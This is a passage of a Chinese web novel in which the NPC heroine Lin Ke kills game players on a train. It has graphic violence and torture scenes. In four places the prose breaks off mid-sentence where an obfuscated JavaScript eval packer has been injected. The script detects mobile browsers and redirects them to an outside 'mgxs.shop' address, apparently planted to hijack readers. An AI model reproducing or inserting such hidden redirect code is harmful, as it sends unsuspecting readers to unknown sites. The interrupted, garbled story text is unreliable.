“放开我,放开我!”女生企图用力抬头,对着男人大喊,“我告诉你们,不要做徒劳的挣扎,反正都会被玩家杀死的!” 男人用力摁住她的头厉声呵斥,“闭嘴!” 林轲蹲下身阴沉沉看着女生问,“你们一共有多少同伙在这趟车上?” “哼,想让我透露情报,没门!” 她蹲下来,目的并不是和玩家说话,而是捡起掉落在地上的枪。 只是—— 她单手去拎那把步枪——居然没有拎动!!! 这枪足足有十多斤重!而她还是个体能为E+的弱鸡,毫无力量可言! 林轲连忙双手去拿,避免让男人看出自己是弱鸡。 女生还在喋喋不休地说,“你们不要做徒劳的抵抗,要不是我因为个人仇恨杀了队友,怎么会被你们偷袭得逞!其他玩家很快就会过来的,你们死——” “呜呜呜……” 她话还没说完,就被林轲用散落在地上沾着血迹的两包纸巾直接塞进嘴里堵住了。 男人从腰上摸出手铐,将女生双手从身后拷上,把她从地上拎起来,轻飘飘的像拎一个小鸡子。 短短功夫,车厢两侧涌进来不少乘客。看到林轲和男人,他们像是见到了希望:“这里安全!这里有警察!” 林轲眉心紧皱说,“歹徒不止这两个人,我们现在要怎么办?”她看向女生问,“这个歹徒我们要怎么处理?” “先关起来,等车到站,再交给警方。”男人愁眉不展,看向两侧争先恐后涌进来的乘客说,“大家放心,我们一定会把大家从这些歹徒手中救下来!” 林轲:“光靠我们两个人的力量太微弱了。”她对不断涌入的人喊,“你们之中,有没有人会开枪,会功夫,帮助我们对抗歹徒,保护其他乘客安全。” “呜呜呜……呜呜呜……”女生听到林轲这么说,扭动着身体,想要说话,却只发出含糊不清的声音。 “我。”有一个高个子男生从推搡的人群中挤出来。他的白色T恤已经染上片片血迹,身上的血更衬得他皮肤白皙,长相清秀。 “你……”林轲看他单薄的身板,声音上挑充满不信任。 “我是警校的学生,我可以的。”他又往前挤了挤,清澈的眼睛满是真挚。 林轲看向男人,征求他的意见。 男人点了点头。 林轲把从女生那里捡到的枪递给他,“子弹不长眼睛,这可不是闹着玩,死了就真没命了。”虽然林轲想用这把枪,但体能太弱,这把枪不但使不了,反而会成为累赘,还是给有需要的人。 别看年轻男生长得单薄,清清秀秀,但他却稳稳接住十多斤的重型步枪,利落套在身上,检查子弹说,“不反抗也是死路一条。” 男人:“好,那我们继续向前,先解决车头部分的歹徒。” 林轲连忙说,“我就不和你们去了,在这里看着歹徒,你们小心。” 年轻男生清澈的眼神变得坚毅,他对男人说,“前辈,我们走吧。” 男人看向林轲嘱咐:“看好她,若是她有任何危险举动,随时杀了她。” 林轲听到男人的话,微微怔了一下,随后说,“放心吧,我肯定不会让她再次危害乘客安全。” 男人带着男生往车头方向走。他端着枪根本不看脚下层叠的还没咽气的尸体,直接往前走。男生则和林轲一样,小心翼翼避开尸体跟在他身后。 林轲见他们走远,扯过女生,打开她后背的背包,眼前一亮。 背包里有4枚手雷,一把手枪,两盒弹夹和一把匕首。 都是林轲迫切需要的武器! 她一点没客气,把女生背包里的武器掏空放进自己包里,用力推搡了一下女生说,“走!” “呜呜呜……”女生扭着身体反抗。 林轲握着匕首,匕首尖抵在女生水灵灵的眼睛上,几乎快要扎进去了。 “我虽然不会杀你,但不代表不折磨你,不想受折磨就老老实实跟我走!”林轲说着,又推搡她一下。 在林轲推推搡搡下,女生终于踏过层层尸体,来到车厢连接处。 这一路,消耗了林轲大部分体力,她心脏剧烈地跳动,后背和脖颈冒出一层晶亮的汗水。 这弱鸡的体能! 虽然林轲感到非常的疲惫,但她极力控制住粗重的喘息,在女生面前掩饰着战五渣的真实情况。 车厢端的乘警休息室的门早已经大敞四开,门把手位置被暴力砸弯了,向里凹一个大坑,门锁彻底坏了,好在里面没有人。 林轲走进休息室,把女生拽进来,直接用脚踹上门。 “呜呜呜!”女生睁着水灵灵的眼睛,嘴被撑得变形,不甘心继续呜呜呜着。 林轲一步跨到休息室小桌前,翻上面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343088|199453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的文档。刚才拽女生消耗太多体力,导致她翻动文档的手不停地颤抖。她紧紧握了下手,攥了两秒,再次松开,但手依旧微微发抖。她颤抖的手指快速翻开文档,一沓翻完,接着翻下一沓。 余光中,她看到女生后退一步,被手铐扣在身后的手去扯休息室的门把手。 林轲直接转过身,手持匕首毫不犹豫刺入女生的肩甲处。 她冰冷的眼睛阴气沉沉盯着她,“我说过的,不杀你不代表不折磨你。” 女生疼得浑身抽动,眼泪瞬间飙出来,喉咙里发出压抑的呜咽,但嘴被堵着,只能拼命点头。 林轲继续翻看着桌上剩余的文档,同时拉开小桌第一个抽屉。抽屉里除了一些杂物,什么都没有。 无奈之下,林轲转向女生,目光更是阴郁。 “呜……呜呜……”女生向后退着,拼命摇头。 “如果你不想再受折磨,我问你什么,你就老老实实答什么,听到了吗?” 女生用力点了点头。 林轲拿掉她嘴上的纸巾问,“你们玩家一共多少人?” “算……算上Mboss一共25个人,不过已经死掉4个,不对,是5个,多出那个是被我杀的。” “你们之间怎么区别玩家还是NPC?” “之前靠黄色丝带,但黄色丝带应该是暴露了,现在什么都不靠了。” “你也看不出来哪个是玩家哪个是NPC吗?” “我看不出来,Mboss没有开放这个权限,不过游戏是有这个功能的。” “如果玩家死了,你能看到哪个玩家已经下线了吗?” “普通玩家不能,Mboss是可以的。” “Mboss在哪里?” “不知道。” “不知道?”林轲把还在滴血的匕首在她眼前晃了晃。 “我真的不知道,除了我这节车厢里的玩家,我还没见过别的玩家,我没骗你!” “不过……”女生话锋一转,“我劝你趁早放了我,Mboss已经派人往这边赶了。你以为抢了两把破枪就可以和玩家抗衡吗?只要你放了我,我不会在意你捅了我一刀。” “你看起来一点都不疼了呀……”林轲嘴角勾起一丝冷笑。 “疼疼疼……”女生惊恐睁大眼睛,“我闭嘴,我不说了还不行吗!” 女生撇了撇嘴忍不住继续问,“你怎么对玩家,Mboss这么接受良好,都没用我给你解释。” 林轲眸色阴沉,目光在车厢里扫过,“那你给我解释解释。” “说出来怕吓死你!你其实根本不是人,是游戏世界里的NPC。我的世界才是真实的世界。我的世界非常美好,科技非常发达……” “闭嘴!”林轲呵斥一声,目光落在门后墙壁上贴着的K3323列车值班表。 “什么……”女生茫然看向她,“这不是你让我……” 林轲快速扫了眼纸上的内容,瞳孔紧缩,靠近一点又认真扫了一遍。 她向来过目不忘,从来不会把同一份东西看两遍。 15. 无限猎杀 女生凑过来,“你在看什么?” 林轲抬手撕下值班表,三两下团成一团,踩在脚下狠狠拧了两下。 女生茫然眨了眨眼睛,“纸上有什么关键信息吗?” 林轲揪着她的衣领拉向自己,“你为什么要杀你的同伙?杀她对你有什么好处?” “他呀!”女生脸上呈现出不屑,但更多的是报仇后的得意,“我杀他,纯粹是个人仇恨。也让他尝尝被人从身后偷袭的滋味,让他在论坛嘲笑我!” “你以为我会信?” 滴血的匕首再次抵上女生的眼睛。颤抖的眼睫毛扫过刀尖,冰凉的触感贴着眼睛,女生毫不怀疑下一秒刀尖会刺进来。 “我、我真没骗你!”女生急得冷汗顺着脸颊一道道往下流。 “是这样的,我之前作为Mboss标记一个猎物,但却被猎物反杀三次,失去Mboss资格。于是我在玩家论坛发起追杀令,结果被群嘲,我的同伙就是带头嘲笑我的人。你要是我,有这样的机会,你会不会报仇!” “我不信,除非你告诉我追杀的人叫什么名字。” “林轲!NPC叫林轲,我没骗你,真的没有!” 林轲…… 听到自己的名字,林轲微微眯起眼睛。 原来是他! 冤家路窄。 他还真把自己的信息挂在论坛上。 虽然自己用秦若离的身份离开学校,但却在列车上被标记,真应了那句老话:躲得过初一,躲不过十五。 “不是为了升级,或者得到他的能力和武器?”林轲表面平静问。 “不是不是,我杀他纯粹是个人恩怨,杀死玩家并不能获得玩家能力,而且游戏里也不鼓励玩家相互厮杀。我说的都是实话,真的一点没骗你!” “我怎么知道你说的是不是真的?” 马元黑漆漆的眼珠转了转,连忙说,“那你要怎么相信我?大哥,大哥,你就不能怜香惜玉一下吗,你看我是多么漂亮的小姑娘!” 他降临的这副NPC皮囊确实漂亮——高挑身材,棕色波浪卷发,皮肤白皙,妆容精致,是回头率很高的那种女孩。 明明是个男的,却总是挑年轻女生降临,真恶心。秦若离就是因为他的降临而死的。若不是想要他的武器,林轲一定会让他生不如死。 “我留着你干什么?你不是说Mboss已经派人来救你吗,你对我没有价值,只有威胁。” “有价值!有价值!我可以给你提供情报,群里的情报!”马元和机关枪一样说话语速极快,生怕林轲一刀捅进自己的眼睛。 “我怎么判断群里情报真假?你完全可以明修栈道,暗度陈仓。” “什么叫明修栈道,暗度陈仓?”马元吓得快要哭了,他不是来搞笑破坏气氛的,他是真的听不懂林轲说的话。 林轲怔了下,不可思议问,“这个成语,你没学过吗?” “什么叫成语?” 成语都没听过?她盯着眼前这张惊恐的脸,忽然明白了什么——这些玩家的世界,可能根本不是她想的那样。 “我的意思是,你明面上告诉我情报,实际上在群里暴露我的位置,让你的同伙来杀我。” “咚咚咚——” 就在马元还要开口时,休息室的门被敲响了。 门本就未锁,若想闯入根本不必敲门—— 是谁? 听到敲门声的瞬间,林轲已经一步抵在门后,冰冷的目光扫向马元。 马元连忙用力摇头,用口型说,“不是我的人。” 林轲声音平静问:“谁?” “一个想要活下去的NPC。”门外传来清澈的女孩声音。她声音颤抖,尾音拖得很长。 林轲用口型对马元说:“来救你的?” “不,不是救我的人。”马元急得额头冒出豆大的汗珠,冲淡了厚重的粉底,“我虽然在群里求救,但是没人来救我!而且我也没有透露我们的具体位置,之前那么说是吓唬你的。” “我不是玩家。”门外再次响起颤抖的声音,“我真的是NPC。我来找你,只是想问问,你能给我一件武器吗?” “你怎么知道我有武器?” 虽然林轲最想要的步枪给了别人,但她从马元背包里翻出的其他武器,可从没打算给任何人。 “因为……”女孩声音比刚才还要颤抖,顿了五六秒才继续说,“因为我看到你拖着玩家离开,我想你肯定会捡装备。” “就算我有,凭什么给你?”林轲声音比金属还冰冷。 “你难道就不想救她吗?她可是你的同类啊!” 林轲脸上像是镀上一层冰霜,“我都不能自救,为什么要救她?” “我知道……我能理解。”门外声音不再颤抖,反而带着一丝释怀的认命感和强忍泪水的鼻音。 “你就给她一个吧,听着怪可怜的。”马元露出怜惜的模样。 林轲微眯着眼看向马元。马元马上意识到什么,连忙说,“我这个人心软,架不住别人求情。” “哼,是吗?杀NPC的时候我也没见你手软。” 犹豫两秒,林轲把马元护在身前,打开一条缝隙。 外面走廊昏暗不明,门缝里透出的光照在女孩身上。 “你们怎么藏这儿了?” 是乘警男人的声音。 听到他的声音,林轲心口一紧,从门缝向外望去——一个高大的黑影正在逼近。 “进来。”林轲猛然打开门,攥住女孩的手腕,一把将她拽进房间。 男人还没走近,气喘吁吁的声音已经传过来,听起来很疲惫。林轲往他身后望了望,没看到别人。 “怎么就你自己回来了?其他人呢?”林轲问。 “你说那个学生?”男人抹了把脸上混合着血水的汗水,粗糙的声音透着一丝可惜,“死了。” “糟了!你们快逃吧!”马元声音突然响起,“群里Mboss发布指令,说8、9、10号车厢的玩家已经被NPC抹杀,让其他玩家来这里支援。杀死凶手NPC的玩家,Mboss不会抽走经验值。这个诱惑太大了,我估计所有玩家,都会往这里赶。” 马元这句话说完,林轲抬手用枪砸向他的脑后,直接把他砸晕。 “现在该怎么办?”林轲惊恐看向男人,把他当成主心骨。 男人紧紧咬着干燥爆皮的嘴唇,眉心拧成一个小山。 哭喊声越来越弱,枪声却越来越近。 “要不然……”林轲试探着开口,“我们绕到这些歹徒身后,打他们个措手不及?” “可是我们怎么绕到他们身后?”男人依旧愁眉不展说。 “我们可以顺着车厢外壁爬到车顶,从车顶走,这是唯一的办法。” 男人迟疑片刻说,“好,那我们现在行动。”说着,他转身往车门方向走。 女孩看林轲和男人要走,嘴唇微动,但依旧沉默,没有出声。 林轲回头看了一眼绝望的女孩,面无表情地转身追上男人。 火车门厚重深绿的金属板上,有大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343089|199453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大小小数十个深深向外凹的洞,旁边散落着红色消火栓,底座已被砸得斑驳掉漆。 车门以一种诡异的姿态扭曲,像是拧到一半的麻花。 “这门已经变形了,打不开了。”林轲检查完车厢两边的门说。 男人向后退了一步,端起枪,“你退后。” “好。”林轲站在他身后,十分关心嘱咐,“你小心点,别伤着自己。” 就在男人手指扣动扳机的瞬间—— 鲜红的血液从他脖颈间喷涌而出,像旋转的花洒射向四面八方。 有那么一瞬间,男人的头颅似乎还连在脖子上。。 【已杀死Mboss铂金玩家!你已经累计杀死1个铂金玩家和4个普通玩家,体能临时升为D级。身为D级体能的你,已经超过22.9%的NPC,但还没有达到平均水平,弱鸡加油!】 游戏提示声在林轲脑中响起的同时,男人的头颅滚落在地,滚到她脚边。头颅脸上还凝固着死前的惊愕与不解,一双布满血丝的眼睛死死瞪着前方。 “你以为你伪装得很好么。”林轲嫌弃地把他的头颅踢走,心想这些玩家都是快乐教育的产物,一点脑子都没有。 林轲最开始对男人的怀疑,是他毫无顾忌踩着还没有死透的乘客身体去制服马元,但这个疑点勉强也能解释。当时情形紧急,作为一个经验丰富的警察不顾忌那么多没问题,但是他和警校男生离去时依旧毫无顾忌踩在尸体上。 还有一点,他离开时说“若是马元有任何危险举动,随时杀了他”,这是一个警察会说出来的话吗? 林轲带着马元去乘警休息室,就是为了验证自己的疑惑。 果然,值班表上没有“陈泽”这个名字。 “陈泽”是他随口编的——他想用这个名字试探林轲到底是不是真正的乘警,以此试探她的身份。 他发现林轲不是真正乘警后并没有立刻杀了她,而是和她一起去杀玩家。林轲暂时还想不明白他的行为动机。 林轲站在原地等待着游戏提示,但过了十多秒,除了接连不断的枪声和哭喊声,什么都没有。 按理说,Mboss被杀,应该出现读档重置倒计时或者标记解除的通知。 游戏通报说明Mboss已经死透,不应该没有任何反应。 除非…… 林轲眸中划过一丝惊愕——这列车上还有其他的Mboss玩家。 刚刚游戏说的是铂金玩家,但是她之前听那个乘警玩家说过,标记两千多人的,至少是钻石玩家。也许只有钻石及以上玩家才能单独标记两千多人,其他玩家若想标记这么多人,需要多人共同标记。 林轲收好刀,微微侧头,看向灯光昏暗处。 女孩依旧站在原处。 林轲单手捡起那把没有消失的步枪,卸下弹夹看了一眼,又迅速装回去,递给女孩。 女孩连忙上前一步,颤抖的双手接下了枪。 林轲拉着女孩来到车厢连接处,声音依旧没有温度问,“你叫什么名字?” “李争曦。”女孩拿到枪后,举到面前打量一番,不好意思笑了一下问,“这个……要怎么用?” “保险已经打开,直接扣动扳机就好。” “你杀过人吗?”林轲随口问。 李争曦微微摇了摇头。 “那你怎么逃出来的?” 李争曦刚要开口,声音被“哒哒哒”枪声掩盖。 无数子弹射向她们,形成密集的交叉火力。 她们被夹击了。 16. 无限猎杀 子弹打在车厢连接处的铁板上,跳弹在狭窄的空间横冲直撞。 两颗子弹擦着林轲的脖颈飞过,带起的气流锋利如刀,直接划破了她颈侧的皮肤。直到脖颈火辣辣地疼,林轲才意识到自己刚刚与死亡擦肩而过。 两侧的火力压制如暴雨倾盆,打得车厢连接处铁皮冒起阵阵白烟。空气中弥漫着浓烈的硝烟味,弹壳叮叮当当落了一地。 林轲和李争曦被压制得完全抬不起头,火药味呛得李争曦捂着鼻子剧烈咳嗽,眼泪都咳了出来。 林轲拽着李争曦紧贴车厢内壁站稳,自己抽出唐刀,对准已经扭曲变形的车门劈了下去。刀锋所过之处,金属如同豆腐般整齐断开——她几乎没费什么力气,就把整扇门切了下来。 门板翻落,坠入车外无边的黑暗,瞬间被吞没。 林轲探出手臂伸向车外——没有无形屏障。借着车厢里透出的昏黄灯光,她看见一米开外,有一排小梯子通向车顶。 “那里有梯子,我先跳过去,你跟在我身后。”林轲对身后的李争曦说。 她不确定自己能不能跳过去。以之前的体能,绝对不可能。但是现在是D级体能,或许可以试一试。毕竟留在车厢连接处,只有死路一条。 她微微屈膝,脚下蓄力,奋力跃起。 火车仍在疾驰,狂风呼啸着扑面而来,像一堵无形的墙压向她。风阻大得惊人,她感觉自己在逆流中挣扎。 指尖触到了第一节梯子—— 滑了。 她的心脏骤然收紧,恐惧和不甘同时涌上来。她拼命伸直手臂,让身体继续前冲。 第二节梯子从指尖滑落—— 第三节—— 第四节—— 手指一节节滑过铁杆的声音,细微却清晰,像为她奏响的死亡唢呐。 不能死。 她还没找到那张糖纸。 那张粉色的、在阳光下闪着光的糖纸。 “不能死!” 林轲咬紧牙关,牙齿发出咯吱的摩擦声。她调动全身每一块肌肉,在坠落中强行发力,让身体向上冲—— “邦——” 一声沉闷的撞击,右手死死握住了梯子的最后一节。 虽然这个动作只有短短不到一秒,但是林轲像是度过了好几个世纪。 她右手抓紧,左手迅速跟上,脚踩住车厢外侧的窗沿凸起,大口喘着粗气,手脚并用,攀着梯子翻上了车顶。 “快跳!”她爬上车顶,回头冲站在门口的李争曦大喊,“快点!” 李争曦微微屈膝,猛地向前跃起,双手抓住梯子倒数第三根横杆。她抬起头,冲着林轲露出一个清澈的笑容。 林轲整个人趴在车顶上,右手抽出隐身的唐刀,刀尖对准正在攀爬的李争曦。 林轲俯视着她,露出一丝温柔的笑意,“我问你个事儿,你既然没杀人,是怎么从玩家手下逃出来的?” 李争曦微微一怔,“是别的NPC杀了玩家?” “在哪里,具体位置。” 李争曦微顿了下才开口:“在便利店。” 她一只手抓着栏杆,另一只手抬起向上抓—— 抓空了。 她愣了一下。 下一瞬,手腕处喷涌而出的温热鲜血给了她答案。她顾不得被砍掉手的剧痛,双腿撑在梯子空隙内,嘴里呜咽着,“你为什么要对我动手,我和你一样!” “我人生信条不多,只有两个。”林轲说着,再次举刀。 “第一个——宁可错杀三千,绝不放过一个。” 刀光闪过,李争曦另一只手也被斩断。 她只能用双腿发力绞住栏杆,整个人像钉在梯子上一样。 林轲嘴角浮出一丝笑意,“你看……双手都没了,还能这么淡定地挂在梯子上,一看就不是普通人。” “你……你什么时候开始怀疑我的?”李争曦的声音突然变得从容,脸上浮起诡异的笑容,没有一丝痛苦,“既然怀疑,为什么还给我枪?你就不怕我从背后开枪?” “你是说那把没子弹的枪吗?”林轲再次举刀。 “你的第二个信条是什么?”李争曦抬起头,认命般望着她。 林轲笑了:“有机会再告诉你。” 刀锋劈下—— 却劈了个空。 李争曦在那一瞬松开双腿,整个人面朝上向后仰倒,像一只精致的燕尾蝶,坠落时嘴角仍挂着欣赏的笑意。刀锋擦着她的鼻尖掠过,只削断了几根发丝。 火车疾驰,狂风呼啸。 片刻后,下方传来一声沉闷的撞击。 李争曦的伪装技巧要比那个乘警高明许多。 至少,林轲从她身上看到恐惧和渴望被救的迫切感。林轲对她产生怀疑是因为她的用词,她说看到林轲捡“装备”。一般玩家爱用“装备”来形容武器,而作为生活在和平国家的普通人,很少会在生死攸关的时候用来形容武器。 林轲只有一丝怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343090|199453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑,递给她没有子弹的枪是试探她是否会对自己开枪。当时两个人距离很近,李争曦举起步枪瞄准的动作根本没有林轲举刀砍下去快,对林轲构不成威胁。 虽然李争曦没有用枪杀她,但林轲还是不放心,所以才问刚才的问题。 李争曦停顿几秒才回答,这就意味着她在思考。 真话是不需要思考的,只有谎言才需要时间去思考逻辑闭环。 林轲趴在车顶,收好刀,从后腰摸出手枪,枪口对准车门方向。 “她们从这儿跑了!”车厢里枪声渐熄,有人喊道。 一颗脑袋探出车门,看向车顶。 距离不到三米。林轲瞄准,扣下扳机—— “嘭!” 探出的头颅上炸开一个血洞,边缘的皮肉被高温灼焦,焦糊味顺着风飘进鼻腔。 【已杀死普通玩家1人】 林轲继续瞄准。 “别出去!别出去!”里面传来嘶哑的喊声。 紧接着,一支枪管从门缝探出,对着车顶方向疯狂扫射。子弹噼里啪啦砸在铁皮上,震得林轲耳中嗡嗡作响,硝烟呛得人睁不开眼。 “啊——” 林轲撕心裂肺地惨叫一声。 枪声骤停。 “打中了!”下面传来兴奋的喊声。 林轲微微抬头,枪口再次对准门口。 果然,两个人同时出现在门口,探出身来。 林轲瞄准,扣下扳机。 “砰——砰——” 【已经杀死2个普通玩家,体能临时升为C级。身为C级体能的你,已经超过60.9%的NPC。】 【游戏提示:检测到NPC体能已经到达C级,初级刀谱已经解锁。】 无数战斗画面瞬间涌入林轲脑海——小人持刀挥舞,招式凌厉狠辣。林轲只觉浑身气血通畅,仿佛那些招式早已练过千百遍。她不禁想,初级刀谱已经如此厉害,高级刀谱会是什么样子。 刚才那声惨叫,不过是诱敌的饵。她根本没有被他们打中,惨叫只是她的诡计。和马元的对话让林轲对这些玩家智商有了初步的认知——玩家智商普遍不高,都不及她的室友冷凝。 这样的人还玩猎杀游戏,简直是找死。 她枪口仍对准门口,分出一丝心神想:算上李争曦,自己杀了四个玩家,但游戏只提醒了三个。李争曦死时,没有提示。 为什么? 她和其他玩家,哪里不一样? 17. 无限猎杀 也许李争曦没死,也许她不是玩家,也许她是玩家却因某种原因活了下来——到底是哪个,林轲一时想不明白。 但这个念头只是一闪而过,林轲没有太多纠结,注意力集中在车门处。等了片刻,发现里面已经没有动静。 从她杀死伪装成乘警的男人到被前后夹击,不到五分钟。这么短时间能赶过来攻击她的,只能是距离比较近的玩家,看来现在已经暂时安全了。 可可木无人区的夜晚已降至零下,林轲趴在冰寒的车顶,汗水湿透的衣衫将彻骨的寒意不断渗入体内。 为了避免其他玩家袭击她,她双手撑地,匍匐前行。她一边留意着破开的门口,一边往火车尾爬行。手脚早已脱力,小腿肚上的肌肉不时抽搐一下。今晚炒河粉的能量早已耗尽,现在的她口干舌燥,嗓子像是有一团火在烧,火辣辣的疼。 她分不清是自己口腔出血,还是玩家的血残留在口中,嘴里始终弥漫着一股腥甜。无论咽下多少唾液,都无法冲淡。尤其是无人区的寒风一吹,连呼出的气息都带着血腥味。 她不得不停下来,从包里摸出一板奶片,摁出两个放在口中。 奶香逐渐驱散口中的血腥味,林轲缓了缓,控制着颤抖的手脚继续向前爬。她决定从前往后解决车厢里的所有玩家,包括Mboss。 车厢里的哭喊声渐息,林轲贴着火车壁向下望去,过道座位上横七竖八叠着满身是血的尸体,已没剩多少幸存者。大多数窗户上都喷溅着鲜血,顺着玻璃往下流,淌过碎裂的弹孔。 林轲继续爬着,不再去看车里情况。 死亡对于她而言已经麻木。 直到凄惨尖叫声顺着风传来,林轲才再次探身去看。 车厢里大多数尸体是残缺的,撕碎的,血肉模糊。 更多的乘客还活着,被一群黑色,眼睛发红冒光的恶犬围住。车厢中间的一个乘客被两只藏獒般的恶犬撕咬着脸,发出一声声凄厉的尖叫。 车厢里的两个玩家,一边磕瓜子一边欣赏。 林轲不是惩恶扬善之人,毕竟,她从不把自己当善人。但是看到两个玩家,让原本麻木冷漠的她顿时怒火中烧。她用黑伞勾着车顶的栏杆,从破碎的车窗跳进去。 马元说的情报和林轲验证的一致,玩家之间不知道哪个玩家已经下线,也没见过其他玩家模样。她变成被自己杀死玩家,这两个玩家根本无法分辨。 “救命……救命……我被NPC攻击了,救救我……” 林轲的声音被怒火带得发颤,听起来与惊吓过度的人相同。她特意往身上蹭了很多血,一瘸一拐地走向他们。 “救救我……救救我……”林轲虚弱无力地说。 两个玩家看到林轲,立刻举枪对准她,“滚滚滚,找别的玩家去。还有四个小时标记结束,我们还有一堆人没咬呢!” 林轲脸上痛苦地扭曲着,眼里满是哀求。她垂在腿侧的手握着隐藏的手枪,缓缓靠近他们,“我……我能在你们这里躲一躲吗?我不会白躲的,我可以给你们经验值。” 两个玩家相互看了一眼,打量林轲片刻问,“你的游戏ID是什么,我加你。600点经验值让你躲一躲。” “多谢,多谢!我的游戏ID是……” 林轲说话间猛然抬手,对着两个玩家‘嘭嘭’就是两枪,不过都没打在要害位置。 几乎同时,围着幸存乘客的恶犬掉头扑向林轲。林轲后撤一步,身体本能闪避。她抽出唐刀,闪身避开恶犬的攻击,手腕翻转,刀身随之挥动,熟练得像照着刀谱练过千百遍。 刷刷刷——墨色刀身所过之处,残影道道。那些龇牙咧嘴的狰狞恶犬,在残影中化作数块血肉,伴着喷涌的血液坠落。 在其他人眼中,林轲手中空无一物,手在空中挥动,直接把恶犬切碎。 剩下的两只恶犬,见同伴被斩成血块,识趣地往后退。刚刚还龇着的獠牙收了回去,血红的眼睛不再狰狞,变得温顺乖巧,口中发出‘呜呜’的哀鸣。 “你、你、你到底是谁?”一个玩家被击中腹部,捂着伤口瑟缩后退,看向从血雨中走出来的林轲,失声大喊。 林轲嘴角勾起一抹似笑非笑的弧度,手枪指着那人,“这些畜生是你们的能力?” “什么能力,你没看出来这是我从游戏商城买的猛兽攻击装备!” “他、他不是玩家!他是那个NPC,群里说的那个!”另一个玩家失声大喊。 “可是那个NPC怎么会到我们这节车厢,他不是在十号车厢吗!”玩家说话时伸手去拽放在旁边的背包。 林轲动作比他快,直接蹿过去把背包抢过来,依旧用枪口对着他们。她单手拽着包底部,把里面的东西全倒出来。 一把手枪和两颗手雷掉落在地,沾满了血。 林轲瞥了眼刚才的玩家:“这个包是你的?” 玩家眼神直视着前方,像是在隔空和谁沟通,没有回应林轲。 “怎么,在群里报信吗?”林轲笑着转向另一个玩家说,“你很幸运,被咬的人不是你了。”她说着,对蹲在旁边耷拉着脑袋的恶犬说,“咬死他。” 林轲只是试探性地下令,没想到恶犬瞬间龇起獠牙,朝那个玩家扑了过去。 “别别别,别咬我!”玩家惊恐大叫,但恶犬的前爪已踩上他的肩膀,龇着的獠牙间,血红色的口水滴落在他脸上。 林轲笑了,“不咬你也可以,杀了你的同伙。你们俩之间,只能活一个人。”她说着,把匕首扔到两个人中间。 恶犬乖乖地从玩家身上下来,蹲在旁边吐着舌头,等待下一个指令。 刚刚被恶犬威胁的玩家抓起匕首,没有丝毫犹豫,朝着同伴腹部狠狠捅了进去。 林轲对他们的反应很满意,玩家杀玩家,武器不会消失,这是她观察马元杀死玩家后总结的游戏规则。 “你动作还挺快。”林轲笑起来,“不过,我改变主意了。” “咬死他。”林轲对恶犬再次下达命令。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343091|199453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 林轲话音刚落,两只恶犬直接扑向还拿着匕首的玩家,张开獠牙,对准玩家的脸就是一口——连着鼻子的面皮被整片撕下,只剩血肉模糊的脸。 “啊啊啊啊——”玩家无力挣扎着,发出和乘客相同的惨叫。 大多数幸存者都不忍直视,转过头去,也有少部分和林轲一样,直视着玩家被恶犬一口一口地撕碎。 很快林轲脑中响起玩家死亡的系统提示声音。 玩家化作数据流消散的瞬间,恶犬如烟溃散。 林轲看了眼手机时间,从她跳下车厢到这两名玩家死亡,已经过去五分钟。她必须得走了,很快会有其他玩家赶来。 “你们尽快把这些尸体堆起来,堵住车厢门口。”林轲临走前提醒她们,“留出一些缝隙观察,如果有人过来,不管是谁直接开枪,不要犹豫。” 林轲从地上捡起一颗手雷揣入兜里,“剩下这些留给你们。” “谢谢你救了我们。”站在最前面的女孩捡起其中一把手枪,死死攥在颤抖的手中,手背绷得发白。她眼神坚毅,有恐惧但更多的是愤怒。 林轲终于明白为什么从最开始就不信任李争曦——她的眼里只有恐惧,没有愤怒。而眼前的女生,眼里愤怒远大于恐惧。 林轲没有多说什么,快速从来时的窗户爬上车顶。体能升级就是不一样,她感觉比之前灵活不少。 她杀了恶犬玩家,位置已经暴露,现在必须快速转移——而车顶是最快的路线。 就在她爬过车厢连接处,抵达车厢中段时,敏锐地捕捉到细微的声响。瞬间,她心中警铃大作,本能地扑倒在车顶上。 “嗖——” 利刃划过头顶,一支箭穿过她刚刚站着的位置。 